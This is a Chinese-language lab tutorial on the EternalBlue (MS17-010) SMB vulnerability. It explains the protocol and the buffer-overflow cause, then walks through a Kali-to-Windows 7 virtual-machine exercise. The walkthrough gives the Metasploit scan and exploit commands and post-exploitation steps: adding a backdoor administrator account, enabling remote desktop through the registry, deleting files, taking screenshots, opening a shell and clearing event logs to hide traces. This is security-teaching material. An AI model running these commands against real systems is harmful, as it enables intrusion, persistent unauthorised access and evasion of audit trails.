永恒之蓝简介
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
• MS17-010是Windows SMBv1服务中存在的远程代码执行漏洞;
• 开启SMB服务(445端口)的系统可被执行远程代码,从而导致被远程控制;
• 受影响系统:Windows XP、Windows 7/8/10、Server 2003/2008/2012/2016。
SMB协议
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
SMB原理
1 )首先客户端发送一个SMB negport 请求数据报,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。
2 ) 协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。
3 )当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。
4 )连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
漏洞原理
漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。然后会进行如下操作:
1.srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小
2.因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大
3.因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出
漏洞危害
永恒之蓝是在 Windows 的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
漏洞复现
实验环境
大家需要先下载好 Vmware虚拟机软件、Kali Linux虚拟机、 Windows7虚拟机:
Vmware Workstation 15 pro 虚拟机:
https://pan.baidu.com/s/1ycFuqRzPn4Ax5G8DQKRQ8A 密码:75uc
若使用苹果电脑MacOS,可使用以下 Vmware Fushion下载链接 链接:https://pan.baidu.com/s/1789g8SkYZN5-6cxHzOHQBw 密码:b00h
Kali Linux:https://pan.baidu.com/s/1reDjdkyEb0NiDYHwVcmmag 密码:octj
Windows 7:https://pan.baidu.com/s/16klld7xjsMUSNTx19-J6Tg 密码:mkc8
1、如何用 Vmware 打开虚拟机文件?
Kali 虚拟机:先解压缩,再用 Vmware 【打开虚拟机】,寻找.vmx 后缀文件打开
Win 7 虚拟机: 点击 Vmware 【导入】,寻找.ovf 后缀文件打开
2、Windows 7 登录密码是什么
pinginglab
3、这些虚机是要装自己机器上?还是靶机?
先安装好 vmware 虚拟机软件,之后用 vmware 来运行这些靶机,这样就可以跟真机隔离 开,保证安全性
4、 两台虚拟机用什么命令 ping 通不通
ping + 目标 IP
5、 kali只要是 2020 就行吧
是的,如果之前有安装过 2017 或之后的版本,其实也可以,后续的版本基本上 msf 的漏 洞库 ,够用了, 并且默认的账号密码, 从 root / toor ,修改为 kali / kali ;就是默认是普 通账号 ,而不是管理员了
6、 2020 kali 的 root 的密码是?
kali/kali 说明下 kali/kali 是普通账号 ,关于 root , 2020 默认不能 root 登陆 sudo passwd 给 root 密码就行
7、怎么没有用户名和密码栏
左下 password 里面填写
8、镜像文件先保存在百度网盘里,再下载,下载不下来,是什么原因
如果是网页端的话,有时候按钮会被拦截或者卡壳; 电脑客户端的话, 会稳定一些
目标主机 -> Win7:192.168.11.136
攻击机 -> Kali:192.168.11.130
完整过程
扫描目标主机是否存在该漏洞
nmap --script smb-vuln* 目标主机IP
实施攻击阶段
进入metasploit渗透测试框架 msfconsole
• 搜索ms17010相关漏洞利用代码 search ms17-010:
• 注:要实现渗透效果,Win7防火墙需关闭
使用ms17-010扫描模块,对靶机Win7进行扫描
• 使用模块 msf > use auxiliary/scanner/smb/smb_ms17_010 或者use 4
• 设置目标IP或网段 msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.11.136
• 执行扫描 msf auxiliary(smb_ms17_010) > run或者exploit
使用ms17-010渗透模块,对靶机Win7进行渗透
• 使用模块 msf > use exploit/windows/smb/ms17_010_eternalblue 或者use 0
• 查看可设置的选项 msf exploit(ms17_010_eternalblue) > show options
• 设置渗透目标ip msf exploit(ms17_010_eternalblue) > set RHOST 192.168.11.136
• 执行渗透 msf exploit(ms17_010_eternalblue) > exploit
Meterpreter是Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等
漏洞利用
查看靶机进程:ps
查看当前目录信息 dir
切换到C盘 cd c:\
删除文件 del pinginglab.pdf
删除文件夹 test rmdir test
创建用户名密码 blue/blue net user blue blue /add
将用户blue添加入管理组 net localgroup administrators blue /add
开启远程桌面功能 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
Kali远程桌面连接Win7
监控靶机桌面:run vnc
截取靶机屏幕:screenshot
获取靶机shell:shell
在shell中可正常执行命令操作:添加/删除用户,更改密码,权限管理,写文件(留后门)。
清楚日志(清痕迹):clearev
查看靶机进程:ps
获取靶机shell:shell
在shell中可正常执行命令操作:添加/删除用户,更改密码,权限管理,写文件(留后门)。
创建用户名密码 net user blue blue /add
将用户blue添加入管理组 net localgroup administrators blue /add
开启远程桌面功能 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
Kali远程桌面连接Win7 rdesktop 192.168.11.136:3389
清楚日志(清痕迹):clearev